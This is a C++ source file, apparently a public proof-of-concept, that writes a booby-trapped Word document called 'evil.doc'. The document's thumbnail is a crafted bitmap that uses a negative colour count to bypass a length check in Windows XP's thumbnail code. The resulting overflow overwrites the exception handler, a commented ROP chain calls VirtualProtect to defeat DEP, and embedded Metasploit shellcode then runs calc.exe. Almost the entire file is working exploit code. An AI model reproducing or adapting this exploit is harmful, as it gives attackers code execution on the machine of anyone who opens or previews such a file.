#include <windows.h>
#include <objbase.h>
#include <stdio.h>
#include <string>
class ExploitGenerator
{
private:
typedef struct
{
BITMAPINFOHEADER bmiInfoHeader;
RGBQUAD bmiColors[2000];
} __attribute__ ((__packed__))
THUMBPWN,
*PTHUMBPWN;
static const unsigned short offsetSeh = 380;
static const unsigned short offsetRopStack = 164;
static PTHUMBPWN CraftBMPThumbnail(PDWORD size)
{
/*
windows/exec - 200 bytes
http://www.metasploit.com
EXITFUNC=process, CMD=calc.exe
*/
UCHAR sh[] =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52"
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26"
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d"
"\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0"
"\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b"
"\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff"
"\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d"
"\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44"
"\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b"
"\x12\xeb\x86\x5d\x6a\x01\x8d\x85\xb9\x00\x00\x00\x50\x68"
"\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95"
"\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e"
"\x65\x78\x65\x00";
PTHUMBPWN pThumb = NULL;
DWORD i = 0, j = 0,
ropStack[] = {
0x5B099EE7, //push esp / mov eax, edx / pop edi / retn :: save esp in edi
0x6FF25365, //push edi / pop eax / retn :: save esp in eax
0x77C190C3, //add esp, 18 / pop ebp / retn :: pivoting the stack, goto line 62
0x7C801AD0, //VirtualProtect address
0xF4F4F4F4, //return address :: modified later in the ropstack :)
0xEEEEEEEE, //lpAddress :: modified later in the ropstack :)
0x00000100, //dwSize
0x00000040, //PAGE_EXECUTE_READWRITE
0x010462E0, //lpOldProtect
0xF4F4F4F4, //pop ebp :: padding
0x77743A33, //inc edi :: edi+1
0x77743A33, //inc edi :: edi+2
0x77743A33, //inc edi :: edi+3
0x77743A33, //inc edi :: edi+4
0x77743A33, //inc edi :: edi+5
0x77743A33, //inc edi :: edi+6
0x77743A33, //inc edi :: edi+7
0x77743A33, //inc edi :: edi+8
0x77743A33, //inc edi :: edi+9
0x77743A33, //inc edi :: edi+10
0x77743A33, //inc edi :: edi+11
0x77743A33, //inc edi :: edi+12 :: [edi] point on line 54 (return address)
0x774D0391, //add eax, 23c / retn :: eax will point after the ropstack, in the nospled
0x77A2C665, //mov [edi], eax / xor eax, eax / inc eax / pop esi / pop ebx / pop ebp / retn 8 :: write the return address
0xAAAAAAAA, //pop esi :: padding
0xAAAAAAAA, //pop ebx :: padding
0xC5CDE620, //pop ebp :: but we want a writeable addr, x+0x3B367CC0=0x010462E0 so x=0x010462E0-0x3B367CC0=0xC5CDE620
0x7C985932, //mov ecx, edi / inc dword [ebp+0x3B367CC0] / retn
0xAAAAAAAA, //retn 8 :: padding
0xAAAAAAAA, //retn 8 :: padding
0x0101FA4F, //mov eax, ecx / retn :: so eax=edi now, an address in the stack
0x77743A33, //inc edi :: edi+13
0x77743A33, //inc edi :: edi+14
0x77743A33, //inc edi :: edi+15
0x77743A33, //inc edi :: edi+16 :: [edi] point on line 55 (lpAddress)
0x77A2C665, //mov [edi], eax / xor eax, eax / inc eax / pop esi / pop ebx / pop ebp / retn 8 :: write the lpAddress
0xAAAAAAAA, //pop esi :: padding
0xAAAAAAAA, //pop ebx :: padding
0xC5CDE620, //pop ebp :: but we want a writeable addr, x+0x3B367CC0=0x010462E0 so x=0x010462E0-0x3B367CC0=0xC5CDE620
0x77393CC0, //dec edi :: edi+15
0xAAAAAAAA, //retn 8 :: padding
0xAAAAAAAA, //retn 8 :: padding
0x77393CC0, //dec edi :: edi+14
0x77393CC0, //dec edi :: edi+13
0x77393CC0, //dec edi :: edi+12
0x77393CC0, //dec edi :: edi+11
0x77393CC0, //dec edi :: edi+10
0x77393CC0, //dec edi :: edi+9
0x77393CC0, //dec edi :: edi+8 :: [edi] point on VirtualProtect address
0x7C985932, //mov ecx, edi / inc dword [ebp+0x3B367CC0] / retn
0x0101FA4F, //mov eax, ecx / retn :: so eax=edi now, address of the VirtualProtect pointer
0x5B0B5593 //xchg eax, esp :: pivoting the stack in order to call VirtualProtect and execute our payload !
};
pThumb = (PTHUMBPWN)malloc(sizeof(THUMBPWN));
if(pThumb == NULL)
{
fprintf(stderr, "[!] Allocation error.\n");
return NULL;
}
ZeroMemory(pThumb, sizeof(THUMBPWN));
/*
Craft BMP info header
*/
pThumb->bmiInfoHeader.biSize = sizeof(BITMAPINFOHEADER); //Size of the structure, in bytes.
pThumb->bmiInfoHeader.biWidth = 13; //Width of the bitmap, in pixels.
pThumb->bmiInfoHeader.biHeight = 37; //Height of the bitmap, in pixels.
pThumb->bmiInfoHeader.biPlanes = 1; //Number of planes for the target device, this value must be set to 1.
pThumb->bmiInfoHeader.biBitCount = 8; //Specifies the number of bits per pixel.
pThumb->bmiInfoHeader.biCompression = 0; //Uncompressed
pThumb->bmiInfoHeader.biSizeImage = 0; //Specifies the size, in bytes, of the image - This may be set to zero for BI_RGB bitmaps.
pThumb->bmiInfoHeader.biXPelsPerMeter = 0; //Specifies the horizontal resolution, in pixels per meter, of the target device for the bitmap.
pThumb->bmiInfoHeader.biYPelsPerMeter = 0; //Specifies the vertical resolution, in pixels per meter, of the target device for the bitmap.
/*
Lenght check bypass here with a negative value #@!
.text:5CE4FBC1 mov [ebp+bmi.bmiHeader.biClrUsed], eax
[...]
.text:5CE4FBE9 mov ecx, eax
.text:5CE4FBEB loc_5CE4FBEB: ; CODE XREF: CreateSizedDIBSECTION(x,x,x,x,x,x,x)+C6j
.text:5CE4FBEB cmp ecx, 100h
.text:5CE4FBF1 jg error
.text:5CE4FBF7 add esi, 28h
.text:5CE4FBFA lea edi, [ebp+bmi.bmiColors]
.text:5CE4FC00 rep movsd ;move ds:esi -> ds:edi, repeated ecx times => ecx*4 bytes to write
*/
pThumb->bmiInfoHeader.biClrUsed = -1;
pThumb->bmiInfoHeader.biClrImportant = 0; //Specifies the number of color indexes required for displaying the bitmap - If this value is zero, all colors are required.
/*
Craft our pixels, but it looks like a nopsled :))...
*/
for(i = 0; i < (offsetSeh - (sizeof(sh) / 4)); ++i)
memset(&pThumb->bmiColors[i], 0x90, sizeof(RGBQUAD));
/*
... plus our ev1l payload...
*/
memcpy(&pThumb->bmiColors[i], sh, sizeof(sh));
/*
... padding, we love nops <3
*/
for(i += (sizeof(sh) / 4); i < offsetSeh; ++i)
memset(&pThumb->bmiColors[i], 0x90, sizeof(RGBQUAD));
/*
Pointer to SEH Handler - pivoting the stack
0x5864B006 : 4A8 : # ADD ESP,4A8 # RETN - l3codeca.acm - **
*/
pThumb->bmiColors[i].rgbBlue = 0x06;
pThumb->bmiColors[i].rgbGreen = 0xB0;
pThumb->bmiColors[i].rgbRed = 0x64;
pThumb->bmiColors[i].rgbReserved = 0x58;
++i;
/*
ROPStack, break DEP
*/
for(i = offsetRopStack/4; j < sizeof(ropStack)/sizeof(DWORD); ++i, ++j)
*(PDWORD)(&pThumb->bmiColors[i]) = ropStack[j];
if(size != NULL)
*size = sizeof(THUMBPWN);
return pThumb;
}
static BOOL CraftDocFile(PWCHAR nameFile)
{
IPropertySetStorage *pPropSet = NULL;
IPropertyStorage *pPropSummInf = NULL;
const FMTID idSummInf = { 0xF29F85E0, 0x4FF9, 0x1068, { 0xAB, 0x91, 0x08, 0x00, 0x2B, 0x27, 0xB3, 0xD9 } }; //F29F85E0-4FF9-1068-AB91-08002B27B3D9
PROPVARIANT propVar[2] = {0};
PTHUMBPWN pThumb = NULL;
CLIPDATA clipData = {0};
IStorage *pStg = NULL;
PROPSPEC prop[2] = {0};
HRESULT status = S_OK;
DWORD size = 0;
PBYTE mem = NULL;
BOOL ret = TRUE;
pThumb = CraftBMPThumbnail(&size);
if(pThumb == NULL)
{
fprintf(stderr, "[!] CraftBMPThumbnail failed.\n");
ret = FALSE;
goto clean;
}
mem = (PBYTE)malloc(size + sizeof(DWORD));
if(mem == NULL)
{
fprintf(stderr, "[!] Memory allocation failed.\n");
ret = FALSE;
goto clean;
}
*(PDWORD)mem = CF_DIB;
memcpy(mem+sizeof(DWORD), pThumb, size);
status = StgCreateDocfile(nameFile,
STGM_READWRITE | STGM_SHARE_EXCLUSIVE,
0,
&pStg
);
if(status != S_OK)
{
fprintf(stderr, "[!] .doc file creation failed, error: 0x%.8x.\n", status);
ret = FALSE;
goto clean;
}
pStg->Release();
status = StgOpenStorageEx(nameFile,
STGM_READWRITE | STGM_SHARE_EXCLUSIVE,
STGFMT_ANY,
0,
NULL,
NULL,
IID_IPropertySetStorage,
(PVOID*)&pPropSet
);
if(status != S_OK)
{
fprintf(stderr, "[!] Storage open failed, error: %u|0x%.8x.\n", status, status);
ret = FALSE;
goto clean;
}
status = pPropSet->Create(idSummInf,
NULL,
PROPSETFLAG_ANSI,
STGM_READWRITE | STGM_SHARE_EXCLUSIVE,
&pPropSummInf
);
if(status != S_OK)
{
fprintf(stderr, "[!] SummaryInformation creation failed, error: %u|0x%.8x.\n", status, status);
ret = FALSE;
goto clean;
}
prop[0].ulKind = prop[1].ulKind = PRSPEC_PROPID;
prop[0].propid = PIDSI_THUMBNAIL;
propVar[0].vt = VT_CF;
propVar[0].pclipdata = &clipData;
clipData.cbSize = size + sizeof(DWORD) + sizeof(clipData.ulClipFmt);
clipData.ulClipFmt = -1;
clipData.pClipData = mem;
prop[1].propid = PIDSI_AUTHOR;
propVar[1].vt = VT_LPSTR;
propVar[1].pszVal = "0vercl0k";
status = pPropSummInf->WriteMultiple(2,
prop,
propVar,
0
);
pPropSummInf->Release();
pPropSet->Release();
clean:
if(pThumb != NULL)
free(pThumb);
if(mem != NULL)
free(mem);
return ret;
}
public:
static BOOL Generate(std::wstring name)
{
return CraftDocFile((PWCHAR)name.c_str());
}
};
int main(int argc, char* argv[])
{
printf("-[ Pwn Windows XP SP2 FR with this thumbnail, by 0vercl0k\n");
ExploitGenerator::Generate(std::wstring(L"evil.doc"));
return EXIT_SUCCESS;
}